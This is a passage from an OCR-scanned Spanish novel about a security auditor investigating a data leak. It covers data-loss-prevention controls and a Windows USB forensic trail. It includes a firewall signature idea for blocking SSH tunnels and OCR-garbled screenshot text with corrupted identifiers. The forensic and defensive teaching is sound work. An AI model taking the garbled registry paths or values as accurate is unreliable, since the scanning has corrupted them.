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Prélogo

Prologo

Con independencia del nivel de estudios adquiridos y la disciplina escogida, llega un punto
en el que somos capaces de evaluar a los distintos profesores con los que hemos compartido
horas lectivas, posiblemente y dejando a un lado las simpatias o matices personales de
los profesores, podemos dividirlos en dos grandes grupos: Aquellos que se esforzaron por
desarrollar un pensamiento, un deseo por conocer la materia, mantenernos actualizados y
que daban una prioridad secundaria a la informacién pura y dura, y aquellos otros grises que
se limitaron a cumplir con un temario, a forzar para conseguir que sus alumnos retuvieran
un mayor numero de datos y poco mds.

Tal vez en disciplinas como la fisica o las matemdticas, retener un montén de formulas
garantice al menos que habremos adquirido un conocimiento inmutable al que, con
suerte, le podremos sacar alguna utilidad. En el caso de la seguridad informatica hacer
una aproximacion formativa orientada a aprender programas o técnicas concretas es, en el
mejor de los casos, la mejor forma de garantizar la obsolescencia en unos pocos meses (con
suerte unos pocos afios).

Cualquiera que pueda revisar manuales o libros sobre seguridad informatica de hace unos
pocos afios y los contraste con la situacion actual, se quedara extrafiado al comprobar
que hace no mucho se mencionaban herramientas de las que hoy dia quedan muy pocas
referencias y que estan absolutamente olvidadas.

Ellibro que vd tiene en sus manos no es el tipico libro técnico del que se puede esperar un
conocimiento de unas cuantas herramientas que con suerte seguiran vigentes dentro de 2
afios, este libro es un manuscrito atemporal, un libro que hace hincapié en la narrativa, en
contar una historia que trasciende y mucho la parte técnica. Es, probablemente, la primera
novela sobre seguridad informatica escrita en Espafia, un libro que se puede leer cuando
las tapas aun tengan el brillo y color original, y mucho tiempo después, cuando el amarillo
asome por las esquinas .

En este libro no solo se plasma el uso de una serie de herramientas que, obviamente
cualquier profesional o aficionado al pentest debe conocer, se plasma una filosofia, una
inquietud, una forma de pensar. La capacidad para crear una estrategia y adaptar tu mente
a la de un pentester.

El verdadero valor de este libro va més alld de los datos puros y duros que podras encontrar,
su valor real es que, una vez te hayas introducido en el, es probable que nazca en ti la
Inquietud de seguir profundizando, de mantenerte al dia.
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Y todo ello gracias al fuerte carisma de sus personajes. Todos en alguna oqasién nos hemos
sentido como Angel, el protagonista, persiguiendo a nuestra Yolanda particular

En definitiva, este es un libro que ha sido escrito para terminar en lg estanteria de los
libros que seguro prestaras a tus amigos, alejado varios metros de las’caj as don~de duermen
aquellos otros de corte purista en los que un ampuloso autor tratd de ensefiarte a usar
unas herramientas, técnicas y sistemas operativos que, como la Coca Cola una vez abierta,

pasado un tiempo han perdido su efervescencia.

Yago Jesus

Editor de SecurityByDefault.com

Capitulo I: Epica n

Capitulo I
Epica

El sol de la mafiana entraba a raudales por la ventana v, al rebotar contra mi monitor,
superponia el reflejo de la calle por encima de las lineas de texto que llenaban la pantalla,
Era viernes y la imagen del exterior me hizo pensar en el fin de semana, en salir pronto de
la oficina y en Yolanda.

Me habia llamado a primera hora. “Quiero verte”, me dijo. No llamaba desde hacia un
afio, y las pocas veces que intenté quedar con ella terminaron en negativas amables por su
parte. Yo tambi€n queria verla, claro. Me enamoré el primer dia que se sent6 a mi lado en
el instituto. En aquella época compartiamos muchas horas de estudio, cine y televisién.
Teniamos gustos afines. Eramos almas gemelas. Pero Yolanda solo me miraba a través de
los ojos de la amistad, mientras yo suspiraba por las noches sin atreverme a dar ningan
paso. El tiempo pasé y la vida nos fue separando sin que ninguno se diera cuenta, hasta que
yo me eché en brazos de los ordenadores y ella en los de un montén de idiotas que no eran
dignos ni de vivir en su misma dimension.

No sé si esta decepcion fue la causa o solo coincidié en el tiempo con mi decisién de
abandonar los estudios. Cuando hice la selectividad estaba dispuesto a matricularme en
ingenieria informética, pero de repente me senti muy cansado de las normas y las ensefianzas
regladas. Tenfa un buen conocimiento en casi todos los campos de la informatica, asi que
empece trabajando en pequeflas empresas, configurando redes y sistemas cada vez maés
importantes, que me proporcionaron una buena experiencia. Pero lo que de verdad me
interesaba era como la seguridad afectaba a todo lo que hacia. Entonces era un campo
abonado para la experimentacién. Y tras la decepcién de Yolanda, volvi a enamorarme,
solo que esta vez era correspondido.

Fui adquiriendo conocimientos profundos en sistemas operativos Windows y Unix, en
redes y programacion, hasta que me converti en un pequefio “chapuzas” de seguridad.
Cada vez sentia mds curiosidad por las posibilidades de mis conocimientos, los cuales me
llevaron al mundo del hacking.

Durante un tiempo fui encadenando trabajos que no me reportaron grandes ingresos, pero que
me permitieron aprender cada dfa algo nuevo, lo que consideraba casi igual de importante.
Los contratos temporales se sucedian y mis expectativas laborales no eran muy altas, pues
no tenia ninglin titulo universitario que adornara mi curriculo. No me preocupaba. Yo era
joven y el futuro solo me interesaba como marco temporal de las historias de Isaac Asimov,
que por entonces devoraba.
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Por suerte, los tiempos me fueron propicios. Las empresas tecnologicas surgian como
setas ¢ intentaban desesperadamente pescar a alguien de mi perfil. Las olas del destino
me arrastraron hasta Epica S.L. De un dia para otro me integré en el organigrama de esta
empresa, que habia empezado como un despacho de abogados especializado en nuevas
tecnologias hasta consolidarse como una de las primeras empresas del sector de la
seguridad a nivel nacional. Sin embargo, a pesar de tan notable evolucién, seguia infestada
de abogados.

JEn qué consistia mi trabajo? Basicamente me pagaban por hacer lo que antes hacia gratis
en mi tiempo libre. Entraba en los sistemas de nuestros clientes y trataba de descubrir
fallos y vulnerabilidades. Yo era un auditor, aunque en la oficina algunos nos llamaban
hackers. Pero como este término sigue envuelto en la leyenda negra, la correccion politica
nos obligaba a presentarnos ante los clientes como auditores o hackers éticos y denominar
a los proyectos “ethical hacks”.

Los auditores teniamos inquietudes e intereses muy distintos a los de los abogados, pero
mientras el terreno quedara marcado y nadie pisara el jardin ajeno, la convivencia era
posible. No es que nos fuéramos de cafias juntos, pero al menos no surgian tensiones
insalvables, mas alla de cruzar algunas miradas de recelo. Eran esas pequefias cosas las que
hacfan que amara el ambiente de grupo que se respiraba en la oficina.

Nadie puede saber todo de todo, y aunque yo conocia lo suficiente de muchas materias,
cuando surgia una duda siempre era bueno contar con un especialista. Cada miembro del

equipo lo era en un campo concreto.

Jaime Gémez venia del mundo del desarrollo, lo que le otorgaba una especial habilidad en
las auditorias de aplicaciones web, ingenieria inversa y andlisis de codigo fuente. Era algo
pretencioso y siempre vestia un impecable traje corporativo que le gustaba lucir ante las
pocas compaiieras que tenfamos. Roberto Mrquez era un antiguo administrador de sistemas
que conocia a la perfeccién cientos de productos y servicios, y no perdia oportunidad de
gastar bromas cuando la situacion lo permitia. Mario Cobo estaba especializado en redes,
podia encontrar cualquier fallo de disefio en la arquitectura de comunicaciones y era una
auténtica maquina del “Call of Duty”. Yo lo querfa a mi Jado tanto en las auditorias como
en las batallas online.

Todos ellos tenian certificaciones especializadas del sector' (CISSP, CISA, SANS, CEHy
algunas otras). A la compafiia le encantaban los titulos, y a los jefes mas que a nadie, ya que
ganaban proyectos con ellos. A mi me servian para perfeccionar y asentar conocimientos,
ademas de mejorar mi curriculo para futuros empleos.

La mesa de Roberto era la méas proxima a la mfa. Estaba mirando a la pantalla como si
esta le acabara de insultar. A continuacion, se puso a aporrear el teclado 2 modo de airada
réplica. Cada cual tenia su liturgia ante el monitor, y la de Roberto era digna de admirar.
Pasaba del ensimismamiento mas absoluto a la mas frenética de las actividades sin solucién
de continuidad.
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-iRios! —exclamé, Haméndome por mi apellido como era su costumbre-. Hemos quedado
en el bar de abajo. Luego podemos cenar en cualquier sitio y salir a tomar unas copas.
(Te apuntas?

Sie’rnpre que acababamos un proyecto, los auditores salfamos a celebrarlo. Aquel dia
estabamos dando carpetazo al Gltimo.

-La vez anterior no acabé bien —objeté.

-jCierto! La Verdgd es que lo de tomar una copa hay que pensarlo mejor si viene Mario.
Pero bueno, el objetivo es pasar un rato con los colegas. ;Qué me dices?

-En otra ocasién. Tengo cosas que hacer.
-¢{Mas importantes que salir con los colegas después de una semana de duro trabajo?
-Sabes que siempre me apunto. Pero hoy no puedo.

-¢Y no tendra nada que ver la llamada de esta mafiana? ;La que has contestado en el
pasillo porque no querias que nadie te escuchara? ;La que te ha hecho regresar con cara
de bobo?

-1Dé]gme en paz! —bufé, refugidndome detras del monitor como si este fuese mi escudo
de “vibranium”.

Continué documentando los resultados del andlisis forense que nos habian encargado esa
semana. El cliente era la importante empresa Telgroup, adjudicataria de numerosos contratos
publicos para el desarrollo de obras y servicios. No cabia duda de que la nueva moda
de externalizar los servicios publicos le habia beneficiado. Por nuestra parte, debiamos
realizar un analisis de seguridad para prevenir la fuga de informacidn, ya que recientemente
alguien habia accedido a datos confidenciales. Como parte del proyecto, se nos pedia un
analisis forense para encontrar al usuario y descubrir qué se habia llevado. Ahora estaba en
la ultima fase de documentar todo lo que habia hecho para identificar al sujeto con éxito.
Parte de los resultados ya los habiamos remitido al cliente en un borrador a mediados de
semana, pero faltaba envolverlos en papel de regalo para que tanto la direccién como los
técnicos pudieran entender lo que habia ocurrido y qué se habia detectado.

En este caso en particular, el cliente no queria un proyecto genérico de consultoria en Data
Loss Prevention, mas bien buscaba la forma de alcanzar algo asi como un Data Leak
Prevention, ya que su mayor miedo era que un empleado filtrase informaci6n a un medio
de comunicacién o, directamente, la colgase en Internet.

Estos casos siempre me recuerdan el hito histérico que se produjo cuando Bradley
Manning, un soldado estadounidense, publicé en Wikileaks documentos confidenciales
de l'as embajadas de su pafs. Consiguio evadir los controles militares de alta seguridad
copidndolos en un CD que habfa etiquetado como si fiera un disco de Lady Gaga. Si se
piensa con detenimiento, es un buen método. ;Quién se atreveria a reproducir las pistas
para comprobar que en realidad contenia esa musica horripilante?
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La proteccidn del dato es un propésito mucho mas complejo de lo que en apariencia parece,
ya que para minimizar los riesgos hay que asegurar cada uno de los canales, como, por
ejemplo, el correo electrdnico, carpetas compartidas de la red, las impresoras, la navegacion
web, la mensajeria instantanea, los dispositivos de almacenamiento como CDs y DVDs, los
equipos que se conectan a la red, los portatiles y por supuesto, toda la cacharreria que se
puede conectar mediante USB, como pendrives, teléfonos méviles, reproductores de mp3
o cualquier aparato que permita guardar informacion en él.

En un entorno idilico para afrontar este problema, se parte de una clasificacién inicial de
los documentos, “escarbando” de forma automatica entre los directorios compartidos y
bases de datos de la red para catalogar y etiquetar ¢l nivel de seguridad de la informacion,
segtn algunas palabras predefinidas que se detecten en el contenido. Otra opcién es obligar
a cada propietario de un fichero a asignar el nivel de seguridad cuando crea y guarda
el documento. Una vez identificados los ficheros, de aquello mas critico se restringen y
monitorizan los accesos.

Pero en realidad esta tarea es realmente compleja, ya que las palabras que se usan son
demasiado genéricas y acaban clasificando cualquier fichero con un nivel incorrecto. Al
final se ha de acometer de una forma més eficaz, segregando los permisos de los usuarios
en cada una de las carpetas en base a la maxima granularidad departamental posible que
disponga la estructura de la empresa. De esta forma, RRHH tendria su propio directorio,
Finanzas el suyo y asi sucesivamente, denegando el acceso a todos aquellos que no sean de
ese departamento.

En el informe me limité a describir las soluciones para aquellos agujeros mas grandes
que habia encontrado y, allf donde aplicar una restriccion para eliminar la fuga iba a
suponer un trauma para los usuarios, por lo menos recomendar la aplicacién de medidas
compensatorias. Pensaba que yo no era nadie para decidir y que el cliente deberia resolver
la disyuntiva de tener contentos a los usuarios o, por el contrario, tomar una actitud mas
estricta y restringir los accesos.

El ejemplo més claro de una medida compensatoria se produce en el correo electronico,
ya que no puedes evitar que los trabajadores de la compafifa manden correos al exterior,
pero s limitar sus tamafios, no permitir determinado tipo de archivos y avisar de que existe
una politica que han de firmar, en la cual se especifica que la compafiia va a almacenar una
copia de todo lo enviado y recibido, por si fuera necesario hacer una investigacién posterior
en caso de detectarse un incidente de seguridad. Por lo menos es disuasorio y, llegado el
momento, permite localizar al usuario que se haya saltado la politica.

Con las impresoras ocurre algo similar. Aparentemente, prohibir la impresion, pese a lo
que pueda opinar Greenpeace, no es algo demasiado util en unas oficinas. Tampoco es
viable ni realista que alguien revise bolsos y carpetas en cada turno para comprobar que
los documentos que salen de las instalaciones no lleven en rojo la palabra “confidencial”.
Por lo menos no en una empresa normal. La solucién pasa por almacenar una copia de todo
lo que se imprime, identificando al empleado que lo solicita, o incluso afiadir marcas de
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agua en cada copia. Ademds es posible obligar al usuario a estar delante de la impresora
para identificarse de forma biométrica o con una tarjeta de proximidad, mediante el uso de
elementos de hardware adicionales, evitando que las maquinas acumulen documentos que
alguien solicitd pero que no ha recogido.

Para el caso de los lectores de CDs y DVDs, en pleno siglo XX lo mas sencillo es eliminarios
por completo, ya que nadie los usa y, en caso de necesidad, siempre puede existir alguna
excepcién conocida, aprobada y supervisada.

-jAngel! —Juanjo Rivas, mi jefe directo, llamé desde su despacho y me hizo perder la
concentracion-. ;Como llevas la documentacion? ; Algin problema?

-Bien, bien —contesté-. Ya casi estd. Me encanta esta parte del trabajo.

jOdiaba esa parte del trabajo! Como a cualquiera de mi profesién, preferia limpiar retretes
antes que enfrentarme a la pantalla blanca del Word. Escribir y evidenciar cada paso que
habia seguido no era divertido. Era un trabajo horrible, pero que tenia que acabar si queria
salir pronto para acudir a mi cita con Yolanda.

Volviendo al asunto, uno de los puntos més complejos y por tanto mas divertidos es la parte
web, ya que requiere decenas de pruebas y un andlisis mucho mas exhaustivo para ajustar la
pasarela a Internet, aunque por desgracia (o fortuna), cualquier medida implantada siempre
podré ser evadida.

Para este proposito elaboré una lista de requisitos basicos de seguridad en proxys webs en
cuanto a DLP se trataba:

- Filtrado en base a categorias o listas negras: el proxy ha de mantener una base
de datos actualizada que categorice webs y permita restringir o conceder el acceso
a grupos de personas. El objetivo es denegar categorias como “almacenamiento en
Internet” o “proxys anénimos”, donde se listan sitios como Rapidshare, SkyDrive o
Dropbox. Pese a que es muy probable que se encuentren paginas no catalogadas si se
busca con detenimiento, sirve para eliminar las mds comunes. La intencion es obvia:
evitar que se puedan subir ficheros de la compafiia a una de estas paginas.

- Denegar la subida de ficheros: ya sea de unicamente algunas extensiones o de
absolutamente todas. La pasarela ha de soportar el analisis de las cabeceras HTTP
para aplicar la restriccion.

- Tuneles HTTP: son utilizados para acceder a otros servicios que no son webs,
como correo electrénico o P2P, aunque a veces también se usan para visitar paginas
no permitidas saltdndose los filtros. Para eliminar los tineles HTTP de este estilo,
es habitual realizar inspeccién del protocolo HTTPS, que requiere que se descifre
su contenido. Otra opcidn es afiadir reglas en el firewall de salida, con firmas que
corten el trafico si observan una cadena de caracteres, por ejemplo “SSH-, usada
para evitar tineles SSH.
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- Inspeccién de HTTPS: permite “romper” el canal cifrado entre el servidor web
y el navegador del cliente. De esta forma, es capaz de leer el contenido de la web
y filtrar si se detecta una subida de un fichero o se realiza un tinel HTTP. Con la
salvedad de que paginas que contengan datos de cardcter personal no pueden ser
inspeccionadas, como direcciones web de hospitales o banca electronica.

Sin olvidar otros aspectos, como el robo fisico, ya que si hay un buen conjunto de medidas
de seguridad 16gicas, alguien podria acabar deduciendo que es mas sencillo llevarse la CPU
del ordenador o abrirlo y extraer el disco duro con los datos. En esta situacion, solo cabe
recomendar el uso de candados en las propias cajas que impida su apertura o cifrar el disco
duro con claves asimétricas y dependientes de a red corporativa.

Imagen de:
opcionweb.com

Loy

Img 01: Candado en la caja de la CPU para evitar su apertura.
La tecnologia mévil, como teléfonos, tabletas y portdtiles son factores criticos en el control
de la informacion. Deben cifrar todo su contenido, asegurar el acceso con contrasefias de
bloqueo y tener los minimos privilegios de acceso a los datos. Para este tipo de dispositivos
existen soluciones comerciales especificas. Muchas medidas se adoptan con productos
MDM (Mobile Device Management), que facilitan la gestion centralizada, localizacién por
GPS o el borrado de datos en remoto.

Los dispositivos USB deben ser restringidos mediante herramientas que permitan su
bloqueo, ya sea con un bloqueo total, en base al tipo de hardware al.que pertenecen o en
base a listas blancas, es decir, inicamente permitiendo aquellos identificados previamente
mediante su nimero de serie, a fin de garantizar que su contenido se almacena cifrado
y, si se pierde o es robado, nadie pueda acceder a los datos fortuitamente sin conocer la
contrasefia.

Mi visién periférica detecté a mi jefe saliendo de su pecera. Cruzaba la oﬁci_na y venia
directamente hacia mi cubiculo. Parecia que no estuviera satisfecho con mi actitud ante la
documentacién y viniera para asegurarse de mi compromiso con la empresa.

Cuando vio mi camiseta naranja de Flashman, que contravenia flagrantemente la politica
de vestuario vigente (traje negro, azul o gris oscuro y camisa clara), levant6 una ceja, pero
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no dijo nada. Como todo jefe, tenia la normativa interna como libro de cabecera, pero era
lo suficientemente inteligente como para no dar una batalla que tenia perdida de antemano.
“El genio necesita libertad para volar”, le decia yo. “Que te den por culo™, contestaba. “Y
ponte traje”. Ese juego nos trafamos desde mi segundo dia en la empresa. El primero quise
causar buena impresion.

-Escucha, Angel —dijo, apartando la vista de mi atuendo para mirarme directamente
a los ojos-. El cliente estd muy satisfecho con el borrador que le mandamos. Hemos
acordado una reunién el lunes por la mafiana para presentar los resultados definitivos.
Tengo la esperanza de que no serd el Gltimo proyecto que firmemos con esa empresa.
Te necesito a mi lado.

-;No puede ir otro? —pregunté-. No se me da bien defender la imagen corporativa, ya
lo sabes.

-Esta decidido. Quiero que todos vean a la estrella de esta compafiia... Pero serfa un
poco raro que fuese yo solo, asi que te permito acompafiarme.

Su humor siempre me causaba el efecto contrario al que pretendia. No me impulsaba a
la risa, sino al homicidio. Otro ejemplo de ese extrafio cardcter era su alfiler de corbata,
con el emblema de la compafifa en el centro. Moriria antes de llevar dos dias seguidos el
mismo traje, pero la caracteristica letra E roja siempre estaba alli, cerca de su corazon,
con independencia de si hacia juego con la corbata del dia. Quiza pretendia que fuese un
refuerzo de su autoridad, pero para nosotros solo era un pobre intento de congraciarse con
los socios.

-Ahora en serio —continuo, adoptando un tono formal-. Sé que has trabajado duro estos
ultimos meses. Todos lo hemos hecho. La demanda ha crecido este afio, pero aqui
estabamos nosotros para hacerle frente. Nadie mas nos ha ayudado y ha sido necesario
multiplicarse. Echar mas horas. Y soy consciente de que a veces el esfuerzo adicional no
queda suficientemente recompensado por la satisfaccion del deber cumplido. Los socios
estan contentos, claro. Epica estd afianzando su posicion en el sector...

Parecia que hablara ante un auditorio repleto de entusiastas subordinados, cuando en realidad
lo hacia para un duico y escéptico oyente. Sabia por experiencia que las palmaditas en la
espalda de Juanjo eran un ataque preventivo ante las posibles demandas que le pudi€ramos
hacer por haber estado empantanados todos estos meses. Me hacia gracia que hablara de
los socios con ese desapego, como si €] fuera uno mas de la tropa, pero para ser mi jefe
directo no era de los malos. Solo desempefiaba su papel, nadando entre dos aguas, tratando
de mantener contenta a la direccidn sin revolucionar a la infanteria.

-... y en nombre del director y en el mio propio os doy las gracias. Si hay algo que
necesites y esta en mi mano, solo tienes que pedirlo.

-Es un detalle —contesté. Era una oportunidad que no se daba todos los dias-. Si hoy
pudiera salir antes...
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-;Que? ;Tienes planes para el fin de semana? —preguntd. Al parecer, ese dia todo el
mundo estaba interesado en mi vida social.
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-Nada especial. Es solo que he quedado con alguien esta tarde y no quiero meterme en
el trafico del viernes.

- Salir pronto? —preguntd, sin disimular una sonrisa-. ;Una chica?
-Bueno, si, una amiga del instituto, no es que vayamos a salir ni nada por el estilo. ..

-Nada, nada, no tienes por qué darme explicaciones ahora. Pero el lunes quiero toda la
informacién: aspecto fisico, qué habéis hecho, adonde habéis ido, posturas sexuales.

-jJuanjo! —protesté.

-jVale, perdona! No te pongas asi. Es solo que a los casados nos gusta recrear las
experiencias de los solteros para sentir que seguimos vivos.

-¢Problemas en casa? —pregunté, algo sorprendido por su explicacion.
-Eh, no... es solo, ya sabes... el matrimonio.

Esperé mientras Juanjo, plantado ante mi y con las manos en los bolsillos, se sumia en una
reflexién interior. Al mirarle a los ojos comprendi que su mente se habia marchado a una
galaxia muy, muy lejana.

-;Con respecto a salir antes? —interrumpi, obligandole a regresar.

-¢Salir antes? Si, claro. Cuenta con ello —aceptd, pero enseguida fue consciente de las
consecuencias de sus palabras-. Siempre que tengas todo listo para el lunes.

-Si queda algo pendiente puedo trabajar desde casa.

-Entonces, conforme. Recuerda gue la reunién es a primera hora. Ah, y otra cosa —
exclamé cuando ya se marchaba, dirigiendo la vista de nuevo hacia mi camiseta-. {Ponte
traje!

Juanjo regresé a su despacho y me dejo con cara de resignacién ante lo que me quedaba de
trabajo. Tenia la vista cansada de haber estado tanto tiempo mirando la pantalla. Puse las
gafas sobre la mesa y me restregué los ojos a fin de aliviar la tensién acumulada. Consulté
la hora en el reloj digital que colgaba encima de la puerta. Ademas de informar de la fecha,
la hora y la temperatura interior, hacia las veces de centinela, pues pocos se aventuraban a
abandonar la sala sin que él lo autorizara marcando las 18:00 horas. Ahora que sufiia bajo
la tortura de la documentacién, los segundos se mantenian una eternidad antes de pasar al
minuto siguiente.

Yo LT
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El alegre sonido de unas risas me sac6 de mi ensimismamiento. Al otro lado de 1a sala, mis
tres compafieros se dirigian al pasillo, camino de la maquina de refrescos o de la azotea,
dependiendo de si su adiccidn era a la cafeina o a la nicotina.

De repenie me entraron muchas ganas de salir para compartir una Coca-Cola y unas
cuantas anécdotas. Habia estado sentado durante horas y me convenia estirar las piernas.
Pero cuando Roberto me preguntd con un gesto si les acompafiaba, rehusé la invitacién,
Tenia que dejar todo listo si queria marcharme pronto a casa. No queria llegar con el tiempo
justo para mi encuentro con Yolanda.

Volvi a ponerme las gafas y segui trabajando.

Ya sabia perfectamente lo que habia ocurrido: un usuario se habia llevado documentos
confidenciales usando un teléfono moévil como unidad de almacenamiento. Tenia anotadas
las pruebas que hice y guardaba en una carpeta las evidencias. Solo necesitaba darle forma
y escribir el informe en lenguaje inteligible, recordando con cada frase que el documento
seguramente acabarfa en manos de jueces y abogados, y ellos debian entenderlo a la
perfeccion.

El acceso a los USB estaba permitido y cualquier empieado podia conectar un pendrive o
un disco duro externo y copiarse lo que quisiera. No existia ninguna medida de proteccion
ni politica que lo prohibiese.

Tan solo tuve que revisar algunas huellas con las propias herramientas de Windows para
encontrar todas las pistas necesarias y resolver el misterio. Fue mas costoso documentarlo
que llevar a cabo el analisis técnico.

Empecé buscando lo que habia pasado en el sistema con el visor de eventos sobre la fecha
y hora aproximada en la que habia saltado la alarma de uno de los tornos de acceso a las
oficinas de Telgroup. Muchas empresas utilizan este sistema para controlar el acceso fisico
a sus instalaciones y en esta ocasion, alguien habia accedido al edificio por la noche, 1o que
resultaba extrafio porque nadie debia estar trabajando a esas horas.

No tardé en averiguar que no habfa registros, tan solo existia un mensaje que advertia que
a las 00:33:01 se habia eliminado la informacién y que a las 00:35:53 se habia apagado el
equipo.
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Continu¢ buscando en el archivo C:\windows\inf\setupapi.dev.log, donde se
guar@a un .registro cada vez que un nuevo aparato se instala por primera vez. Encontré
un dispositivo USB que se habia conectado el dia 11/06/2012 a las 00:03:25, un minuto

i P T o = S5
il .‘.”',";f";"::.;’;u e : : Srec T : Fiectial después de que eI PC se encendiera. Su nimero de serie era el 3529240203 86178.
N . * Reginteas de Windows Nivel Fecha y hara Crigen [d. del evento  Categoria de fa tar.. | = 7 — e S
i3] Apticacion (Pinfarmacion 11/06/20120:35:53  Winlogan 002 (1102) . faEs r?m - M'"
G:{ Squllul: @Infcrmacién 11/06/2012 0:35:53 USER32 1074 Ninguno
|} Gstnformasion 11,08/2012035:49  USER32 1074
| € T
N ] \;;‘,gg?gﬂg:ﬁér_:;taﬂ (Hardware jmitiated) - USB\VID_0421&PID_00AA
S :‘9""“‘“”"’““""! ! Events 104, Eventiog ->>  section STart 2012/06/11 00:03:25.150
13 Suscripaiones S ; | ump : Cr!i\'.'l:? Install Process: DrvInst.exe 00:03:25.166
|| | General " Dietaijes| | ndv: Retrieving device info..
e B ndv: Setting device param:tars...
i - { ndv: Searching oriver Store and Device Path.
152 Bosrd el archivo de registro System. dvi: {Build Driver List} 00:03:25,2491
dvi: Searchi ng for ha.rdware 10(3):|
dvi: usbivid_04218pid Oﬂaa&rev 0100
| dvi: usb\wid_04214pid_00
| dvi: searching for -.axgnb‘ie ID(s‘ -
Mombre de tegistro:  Sistema dvi: usbiclass_Qg8asubc] ass_068pror_s0
1| odgene Eventlog Registrado: 11/06/2012 (=330 AL Usb\clase-Oiiabbelaals =
| 1 del evento: 104 Categoris detacea: Barrado del 1egistro Img 04: Fichero setupapi.dev.log con el registro de conexiones de dispositivos.
Nivet Infosmacién Palabras clave:
Usuaric: WI-DL2U81T Equipe: Wr-012 Continué revisando las claves del registro SYSTEM\CurrentControlSet\Enum\
Cédigo de speracian: Informacidn [ ] USBSTOR de HKEY LOCAL MACHINE que mantiene la informacién de todas las unidades
Mas inf ian: Ayuds Regutio de svenios | : - _— . . .
i de almacenamiento que se vinculan al equipo, como el niimero de serie, el nombre del
——— e s -~ fabricante, €l producto o la version. De todos los que habia, me llamo la atencidén un Nokia
E71 al que le correspondia el nimero que habia anotado.
e
Img 02: Evento de borrado del registro. g Istry Edhitor

o Deddien ¢ 0, e

2 DiskBVen_Generic&Prod_USBE_CF_ReaderBRev_L. 0 (Def st | R
4 Diskidten_Generic&Prod_USB_MS_ReadersRev_L, o

,, Diskien_Generic&Prod _USB_SD_Reader&Rev_L
., DiskiVen_Generic&Prod_USB_SM_Reader8Rewv_L.
4 Disk&ven_WC&Prod_GZ-HDSO0BRev_1.L

Tuve mas suerte con los eventos de seguridad. Estos no habian sido eliminados. De alli
obtuve el nombre de usuario que se habia utilizado: U93817; también la hora a la que se
habia identificado en el PC momentos antes: 00:02: 41

s Bt

ot —=t
3

kg

; 4 35292402038617830

@ J. Device Parameters
s LogConf 1
& Properties 4

& D|sk&\!en RIM&Frud Bla:kBsrry SD&Rev 0003 |
| Diski&vVen_SAMSUNG&Prod_HDSD1LIBRev_

'y DiskBYen_SAMSUNGBProd_HM120]1C&Rev_0000

J Disk&ven_SAMSUNGEProd_SP1604M&Rev_0B11

4 Disk&yen_SAMSUNG&Prod_SP2514MeRev_

b DiskBven_SanDiskBProd_CruzerdRev_3.02

M Disk8en_SanDiskaProd_Cruzer_BladefRev_1.20

4 Disk&ven_SanDiskaProd_SanDisk_CruzertRev_S.L s |

885D HD ﬁ'&i

g R L

Img 05: Clave del registro con el nimero de serie del dlSpOSmVO USB.

También obtuve las referencias del Vendor-ID (VID) y Product-ID (PID) consultando el
nimero de serie en la clave HXKEY LOCAL MACHINE\SYSTEM\CurrentCoatrolSet)
Enum\USB

Img 03: Evento con inicio de sesion.
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Ui ROOT_HUB

2 ¥ 3529/4020”85178
¥ Device Parameters
& LogConf
= Properties

[mg 06: Clave del 1eg1suo con el Vendm ID y el Product-ID.

Busqué en HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices el valor identificativo
unico o GUID (Globally Unique [Dentifier) del dispositivo y la unidad que se asigné en el
PC cuando el terminal se conecté: E:.

9 j HKEY_LOCHL i4ACHINE
{4 8CD00000000
f 5 COMPCNENTS
HARD\NARE

-
v
8
;
=
[

, Select
@, Sewp
@ ) Software
WPA

0 byt
V2 Volume{s555
B 22tyolme{5552
B p2Wolumedazhit
| PYrowmela b
84 27 volume (7o f

3]\ PosDevicas!E:

om0
L E300
200
fzzon
Hum

B0

2300

Lmg 07: Clave del registro con fos GUID v asignaciones dc umdades montadas.

Con estos datos y los anteriores, fui rellenando una tabla de referencia:

Numero de Serie 352924020386178&0

Nombre del fabricante | Nokia

Producto E71

Version Rev1.0

Vendor ID 0421

Product ID 00AA

GUID {55532bdf-75cc-11e0-aa8e-000c29a9dcb3 }
Unidad E:

Tabla 1: Resumen de datos del dispositivo USB
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Dentro de la clave: SYSTEM\CurrentControlSet\Enum\USB\VID G421&PTD_OO0AA,
comprobé la ltima vez que se escribid el nimero de serie y, de esta forma, deduje cuando
se desconecto ese dispositivo por tltima vez. Para sacar este dato usé un pequefio truco, ya
que ¢l propio regedit no permite averiguarlo: exporté esa parte del registro como archivo
de texto y 1o abri con el bloc de notas. Anoté la fecha y la hora que indicaba: 11/06/2012
-00:31.

Nnﬁ:ﬂ de clave LOCAL_MACHI:
\Currm:cnmrn‘lset\mun\uss\vm 042124P1D_ on

nﬁ“n*?m" - L2131 am

EM
24020286178

ra deé clase

Wora de GTTima escrituras
vaior 0

Nowbra: DeviceDesc

Tipo: REG_SZ

patos: @ushstaor, inf,sgenericoulkanly, devicaedesci; Uss
MaAsd STorage Devige
walor L

Nombre: LocationInforuation

Tipo: REG_SZ

patos: POrT_#0001. Hub_#0003
valor 2

=i

Img 08: Informacién de fechas del registro, obtenidas mediante exportacidn.

Gran parte del tiempo de la investigacion lo dediqué a comprobar que todo era correcto, ya
que en la medida de lo posible los datos obtenidos deben ser contrastados con otras fuentes
de informacién. En todos los peritajes, para que no sea invalidada la prueba, no puede
existir duda razenable ni error posible. Ademas, seguramente alguien se iba a quedar sin
empleo con los resultados del informe y no queria arriesgarme a equivocarme.

Con la meticulosidad por bandera, probé la herramienta UsBDev iew de Nirsoft* que obtiene
todos estos datos de forma automatica y, de este modo, verifiqué que cuadraban con los que
habia sacado manualmente.

+ 0002.0000,0000.001.0 USB Input Device 5/4/.1]11 7:09:33 A HID (runmmra'l‘x ‘J:Of |
£ 9002.0000,0000,001.0 USB Input Device 5442011 7:05:38 AM HID {Human Interfac,..  Cenf i
u' Port_#000 LHub_#0001  USE Composite Deviaz 5412011 7109 ?s Abl Unknowan denf |
& Pact ‘(OOLM .-.omz UsB DISK 2,0USB Device  (F7SBOAQITROES.., Mags Sirage e !
L 1- =40 Waeis ET L LUSEL = ! g lErlE NIz = ey Siorace DT [
4 P‘:vrr #0001, HuIJ <0003 Nokla En1 5_[11/2012 Q:DB:ZSAM Communication 0421
& Port_#0001.Hub_s0003 Mokia E71 6/11/2012 12:05:47 AM_ unknown 3421 i
& Port_70001.Hub_%0003  Mokia USB ROM £/10/2012 11:26:19PM  vendar Specfic 421
- b T e | »
Rl v L [eclimewes Speyw Ao | b ot DA —

lmg 09: Datos de los USB mostrados por USBDeview.

Estuve buscando ofras acciones en esas horas. Lo Unico que encontré fueron entradas
MRU*(Most Recent Used) en las claves del registro de WinZip que referenciaban a un
